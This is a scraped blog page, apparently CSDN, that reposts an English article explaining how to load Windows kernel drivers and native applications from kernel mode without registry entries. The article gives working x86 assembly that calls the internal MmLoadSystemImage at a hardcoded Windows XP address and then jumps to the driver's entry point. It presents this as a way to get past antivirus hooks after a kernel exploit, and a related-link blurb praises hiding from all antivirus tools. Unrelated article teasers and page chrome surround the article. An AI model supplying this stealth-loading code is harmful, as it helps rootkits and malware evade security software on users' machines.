核心态加载驱动和本地应用

Linux驱动加载总结 一、Linux系统结构概述 1.1Linux体系结构 1.2内核架构 二、Linux驱动 2.1Linux系统3大类设备 1)字符设备 2)块设备 3)网络设备  字符设备和块设备都是通过文件系统的系统调用接口open()、close()、write()、read()等函数访问,应用程序可以通过打开设备文件(如UART0设备:/dev/ttyS0)来访问设备 阅读详情

Loading drivers and Native applications from kernel mode, without touching registry


 By: vipinkumar You are Responsible for everything.Also,if you develop something off this,you should give credit to the authors.

"How to load driver without touching registry from kernel mode", this is asked almost always. Today, I will give you an insight into how Windows loads its driver and then will document a new method to load a driver without touching registry.

This is required because even if you exploit kernel vulnerabilities ,you still cannot load any driver because almost all existing Antivirus solutions hijack the NTOSkrnl API's ( which let you write to specific registry locations, load drivers etc).

The first method to load driver is given below:

Windows NT loads drivers using the following function ZwLoadDriver.

Its declaration is as follows:


NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);


DriverServiceName: Pointer to a counted Unicode string that specifies a path to the driver's registry key, /Registry/Machine/System/CurrentControlSet/Services/DriverName, where DriverName is the name of the driver

The Second Method is given below:

After Windows 2000 start's up, It starts loading the special driver win2k.sys.It doesn't load in the traditional way (as all other drivers are loaded) by calling the following procedures ZwLoadDriver, NtLoadDriver etc.

It actually loads by the following kernel API ZwSetSystemInformation.

This API is used to set system information such as page file, loads the above driver, file cache( information working set) etc.

It is actually implemented as follows:

                                         
ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                    //specifies operation to do
IN PVOID SystemInformation,         //specifies operation data
IN ULONG SystemInformationLength )  //specifies  data length



it's internally implemented as follows:


    
        Switch (SystemInformationClass)
                      Case 0:
                      
                      Case 1:
                      .
                      .
                      .
                      Case 5:     ;this actually extends the system service descriptor table
                               .
                               .
                       .           
                               MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
                               
                               call entrypoint(driverobject,NULL)   ;
                               
                               break     ;  
                         case 6:      
                        .
                        .
                        .
                        .
                        .
      






These 2 are the only known method of loading drivers.




Here is the third method. (No antivirus solution currently hijacks it so it is safe).

As seen above ZwSetSysteminformation loadimage function to load driver into memory and then calls its entry point.

Now we will briefly analyze the parameters and functionality of MmLoadSystemImage


     MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING  prefix optional,UNICODE STRING basename optional,
                      ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);  
      


ImagePath is a fully qualified NT style pathname
prefix is added to pathname when loading driver

basename is the name system shows after module has been loaded

unknown is unknown

*imagehandle is the handle to section(it's already referenced, so you will have dereference it at unload)

*baseaddress is the address at which image has been loaded in kernel memory

This function actually loads the image in memory, resolves imports,loads dependencies, etc.

In Windbg,u can find the address of above function using "d MmLoadSystemImage" (of course ,symbols are required)

NOTE:- MmLoadSystemimage internally calls and checks the image after loading it into memory so make sure the checksum for the image is fine.This functionality is done by the MiCheckSystemImage.The import resolving job and dependency loading is done by MiResolveImageReferences API.


Thee MmloadSystemimage works as follows: (PseudoCode)

       
1) traverse existing module list to check whether it has been alredy loaded
2) if it exists return error (image already loaded STATUS_IMAGE_ALREADY_LOADED) and  return from call

3) try to open file using Zwopenfile,if file cannot be opened,just return with error code
4) compute image checksum and match it with checksum stored in header
5) if checksum doesn't matches. return with error code
6) create a section with zwcreatesection and then reference it
7) map it into kernel space using mMapViewInSystemSpace
8) if necessary apply relocations to image using  function LdrRelocateImage
9) resolve refrences iusing MiResolveImageReferences
10) then create an entry in psmoduleloadedlist for the module
11) make it writeprotect
12) then close file handle
13) return from call








So, now we have a function which loads image in memory, but what about calling Driver Entry (entry point of driver). This information can be obtained from the PE headers itself after the image successfully loads in memory. This method has been and can used to load and execute drivers, native applications etc directly from kernel mode



Here is the assembly code (kernel mode assembly code). it has been tested on Windows XP SP0 English Version.After minor modifation code runs on win2k,xp,2k3 etc


       __asm {
               
               
               ;below code loads the driver in memory
loaddriver:
        mov dword [Stack],esp               //save stack
        
        ;paramters as always are passed in reverse
        push DWORD Driverbase              ;it stores driver base
        push DWORD ImageHandle             ;it stores section handle
        push dword 0               
        push dword 0
        push dword 0
        push DWORD U_STRINGloc              ;it points to unicode string  containing driver to load


        mov edi, 0x805c03ae       ;MmLoadSystemImage address function on Win XP SP0 English version,(OS and SP dependent data)
        call edi
        cmp eax,0                 ;check whether driver loaded successfully in memory
        jne   drivernotloaded    ; if loading failed, exit without calling entrypoint
        
         ;since driver has loaded successfully  call its init function  both parameters are passed 0
        mov DWORD edi, [Driverbase]
        mov DWORD ebx ,[edi + 0x3c]      ;to get offset of optional header
        mov dword ebx,[edi + ebx + 0x18 + 0x10]   ;       to get entry point ofset from base of code
        add edi ,ebx                        ; add base + entry point to get entry point in memory
        push 0 ;
        push 0
        call edi  ;call entry point     (Driver Entry in case of Drivers)


        drivernotloaded:
        mov dword esp,[ Stack]            ;  correct stack so as execution continues
        
        ret


       
       ; Here data and/or variables are stored
       

; This is the driver to load including path name

;DosDevices@:hooka.sys  length  48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;it's used to store driver base address
Driverbase:
dd 0
;it's used to store section handle
ImageHandle:
dd 0;

;it is used to store Stack location
Stack:
dd 0

;structure used for unicode strings in memory
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//asm code ends here


NOTE: - These API's or functions are not exported by NTOSKRNL, but these exist for internal usage.These functions are not hooked by any anti-virus solutions, so these can be used to load drivers and native application and then run them.


That's all about loading a driver from kernel mode without touching registry.
Also,the code does some error checking,so as no hard error occurs.



Have fun!

 

OpenHarmony-HDF驱动框架介绍及加载过程分析 HarmonyOS面向万物互联时代,而万物互联涉及到了大量的硬件设备,这些硬件的离散度很高,它们的性能差异与配置差异都很大,所以这要求使用一个更灵活、功能更强大、能耗更低的驱动框架。OpenHarmony系统HDF驱动框架采用C语言面向对象编程模型构建,通过平台解耦、内核解耦,来达到兼容不同内核,统一平台底座的目的,从而帮助开发者实现驱动一次开发,多系统部署的效果。1)在系统启动时,DeviceManagerInit通过late_initcall先启动。 阅读详情

相关推荐

kernel中驱动加载顺序详解

Linux 内核驱动加载顺序调整方法详解在 Linux 内核中,驱动加载顺序的调整涉及多个层面的机制,包括内核初始化阶段的优先级控制、模块依赖管理、设备驱动模型等。以下是 6 种核心方法的详细解析,涵盖原理、实现方法及完整示例。原理• 作用:声明模块间的软依赖关系,引导 modprobe 按顺序加载模块。• 底层机制:依赖信息存储在模块的 .modinfo 段,由 depmod 生成 /lib/modules//modules.dep 文件。• 特点:非强制性,若依赖模块不存在,当前模块仍可加载。

yiyu20180729的博客 986

windbg拦截驱动

驱动的加载有几种方式,查看CreateService就可以知道。 1、SERVICE_BOOT_START=0x00000000,被系统loader加载,这类驱动是最早加载的。驱动文件必须放在C:\Windows\System32\drivers目录下,因为此时系统只能读注册表,不能打开文件,不能打出调试信息。看了下面的分析就清楚了。 2、SERVICE_SYSTEM...

weixin_34244102的博客 339

sdio wifi驱动的加载流程

1、为何/sys中driver的uevent文件只写? 该文件用于调试udev或者人为引起uevent的发送,执行类似: $ echo add > /sys/…/driver/…/uevent 命令时,会模拟一个uevent(ADD)事件,在kernel中,该文件的属性设置为只写。 小结: bus、driver的uevent文件只写 device(包括bus设备)的uevent文件可读

7967

NT下实现不通过注册表加载进程的方法

http://blog.mmbest.com/?6576发布时间2006年10月26日  翻译发布:2006年10月29日译者按:本文提供了一种在win NT下悄声无息的加载“驱动”的方法。这里所将的“驱动”并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面提到

1583

osgEarth加载本地离线影像

本文详解如何在无网络环境下使用osgEarth加载本地离线影像瓦片,涵盖瓦片格式识别、坐标投影配置、XYZ与TMS差异处理、MBTiles优化及缓存策略,实现高性能三维地图渲染。

meat5的博客 1121

MmLoadDriver内存加载驱动.7z

64位环境下已签名驱动中实现加载未签名驱动,程序是源代码,可修改编译

调试驱动程序的入口

调试驱动程序的入口(1) 这是老生常谈的一个问题,先说一个一般性的方法。 将内核调试器设置成启动时断点(快捷键Ctrl+Alt+K),调试器提示: Will breakin on first symbol load at next boot. 这句话意味着 The debugger breaks into a restarted target computer ...

weixin_34309543的博客 1656

KingDriver_辅助_C++_驱动_

刚刚发的那个是恢复句柄表达到破掉驱动保护。这个是直接禁止驱动加载源码。支持全系统写法。

加载windows驱动的几种方式

windows api加载驱动的几种方式:

要把所有那些负面的信息当做对自身行为的评价,而不是对自身价值的评判。 3374

Embarcadero Dev-C++ 6.3安装教程【保姆级】

Embarcadero Dev-C++ 6.3安装教程,保姆级教程~

Thebest_jack的博客 1万+

ArduSub深度调参指南:如何让水下机器人像鱼一样稳定游动

本文深入探讨了ArduSub水下机器人的深度调参策略,旨在解决ROV在水下晃动、响应迟钝等问题。文章系统解析了级联PID控制逻辑,并针对静水与水流环境,提供了具体的深度保持与姿态控制调参方法、实战日志分析技巧以及异常振荡处理方案,帮助用户实现水下机器人稳定、流畅的游动性能。

CAT789的专栏 373

加载驱动过程

用instDrv加载驱动,用CreateService()函数等等过程如下, 1,先是它向Service进程注册服务。 2,然后Service进程调用ZwLoadDriver()加载驱动。进入NtLoadDriver()系统调用,它先会检测SerVice进程(当前进程)是不是有加载驱动的权限,然后检测当前进程是不是System进程,是的话直接调用IopLoadUnloadDriver(

junjie1595的专栏 2015

IEEE ACCESS Please note that all author names should be listed in English.(所有作者名需用英文名列出)

很奇怪哈,我明明手稿和提交页面作者都是用的英文,但是为什么还是会提示我没用英文呢?后来给编辑发消息,回的很快,他给我发了一个截图,确实是出现中文,但是我还是不知道为啥会出现中文。直到晚上回寝室洗澡的时候忽然想起来了是不是orcid的原因,因为它会强制作者绑定一个orcid账号,而我的orcid账号的名字刚好是中文的。当然这个只是我的一个猜想,但是我觉得可能性很大。我的第二篇论文已经投稿了快三个月了,效果非常的不好,所以我打算转投IEEE ACCESS了,希望这里可以给我一点好的建议。

kuyecsl的博客 3312

Linux内核并发和竞态

要求LED设备只能被一个应用程序打开访问操作。

myhmzl的博客 1880

OriginPro实战:5步搞定碳材料拉曼光谱D峰G峰分析(附完整数据处理流程)

本文详细介绍了使用OriginPro进行碳材料拉曼光谱D峰G峰分析的完整流程,涵盖数据预处理、多图层可视化、高精度分峰拟合等关键步骤。特别针对材料科学研究中的基线漂移、多峰重叠等问题提供专业解决方案,帮助研究者快速完成从原始数据到科研级图表的全流程分析,提升碳材料表征效率与准确性。

vodka的博客 951

YOLOv10改进策略【模型轻量化】| MoblieNetV3:基于搜索技术和新颖架构设计的轻量型网络模型

本文记录的是基于MobileNet V3的YOLOv10目标检测轻量化改进方法研究。的模型结构是通过得来的,其中的基础模块结合了的深度可分离卷积、的线性瓶颈和倒置残差结构以及MnasNet中基于挤压和激励的轻量级注意力模块,使模型在性能、效率和灵活性方面都具有显著的优势。本文在替换骨干网络中配置了原论文中的small和large2种模型,以满足不同的需求。

Limiiiing的博客 515

linux驱动加载 动态加载 静态加载 自动加载

linux驱动加载 动态加载 静态加载 自动加载_luopandeng的博客-优快云博客_linux驱动加载概述在Linux下可以通过两种方式加载驱动程序:静态加载和动态加载。静态加载就是把驱动程序直接编译进内核,系统启动后可以直接调用。动态加载利用了Linux的module特性,可以在系统启动后用insmod命令添加模块(.ko),在不需要的时候用rmmod命令卸载模块。驱动加载静态加载过程将模块的程序编译到Linux内核中,也就是咱们在编译内核时选择Y的模块,静态由do_initcall函数加载。先来

eydwyz的专栏 2806

13、使用 Mathematica 撰写文本

本文详细介绍了如何使用 Mathematica 进行文本撰写与处理。内容涵盖文本输入、格式设置、结构化排版、超链接插入、翻译与拼写检查工具的使用,以及将笔记本导出为多种格式(如 PDF、HTML、LATEX 和 RTF)的方法。通过实例演示了创建专业文档的完整流程,包括样式设置、公式推导、标题编号、页眉页脚配置等操作。适合希望利用 Mathematica 编写学术论文、技术报告或教学资料的用户参考。

sony5的博客 209

内核态,用户态,目态,管态

目态,管态大多数计算机系统将CPU执行状态分为目态与管态。CPU的状态属于程序状态字PSW的一位。CPU交替执行操作系统程序和用户程序。管态又叫特权态,系统态或核心态。CPU在管态下可以执行指令系统的全集。通常,操作系统在管态下运行。 目态又叫常态或用户态。机器处于目态时,程序只能执行非特权指令。用户程序只能在目态下运行,如果用户程序在目态下执行特权指令,硬件将发生中断,由操作系统获得控制,特权指

L未若的博客 9267

JAVA:Spring Boot3 集成 ShardingSphere 实现数据分库分表

本文介绍了基于Spring Boot和ShardingSphere-JDBC实现分库分表与读写分离的解决方案。针对高并发、大数据量场景下单库单表的性能瓶颈,通过配置ShardingSphere-JDBC实现:1)订单表按user_id和order_id分片到两个库和两张表;2)读写分离,写操作路由至主库,读操作在从库间负载均衡。方案使用Druid连接池优化,支持业务透明,无需修改SQL。

木头 663

YOLO26改进目录一览 | 涉及卷积层、轻量化、注意力、损失函数、Backbone、SPPF、Neck、检测头等全方位改进

1️⃣ 什么!不知道如何改进模型⁉️ 本专栏已更新260多种不同的改进方法,所使用并改进的每一个模块均包含详细的模块分析、原理讲解、个人总结、多种改进方式以及完整的修改流程,所有改进100%可直接运行,性价比极高。2️⃣ 找不到合适的模块⁉️ 所有改进点均为近三年顶会,顶刊提出的先进算法,将其融入到中,并进行二次创新,新颖度高,创新度高,能够适应不同的任务场景。3️⃣ 不确定自己改进的步骤、结果是否正确⁉️ 订阅专栏即可进群享受模型训练、模型改进、论文写作、投稿选刊,从入门到论文的各种答疑内容,非常适合新手

Limiiiing的博客 6406

JDBC驱动加载详解

JDBC 驱动加载是 JDBC 使用的核心部分之一。通过。

m0_59539752的博客 2558

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

linux开机加载驱动流程

linux开机启动,驱动的加载流程

A980115025的博客 2980

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

编程实现加载和卸载驱动程序

//加载核心驱动 BOOL loadKD(LPCTSTR DriverPath, LPCTSTR Servicename) { BOOL bResult=true; SC_HANDLE hSCManager=NULL; SC_HANDLE hService=NULL; hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_AC

冷却 1012

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

HarmonyOS应用<奇妙科学乐园>开发第37篇:骨架屏设计——加载态/错误态/空数据态三态兜底

和。它们是三态切换的驱动力,任何状态变化都会触发build()方法的重新渲染。✅状态变量互斥设计// 所有状态转换同时设置两个标志✅定时器双向清理// 成功时清理// 销毁时清理✅骨架屏布局对齐// 骨架屏的 padding、margin、borderRadius 与真实页面一致 // 确保切换时无布局跳动✅空数据态作为正常态子状态if (this.topicList.length > 0 ) { // 有数据:渲染列表} else {// 空数据:友好提示。

yuegu_xx_0220的博客 95
上一篇: outpost firewall 的一些技术分析
下一篇: 12月最新Windows Live邮箱注册漏洞及分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值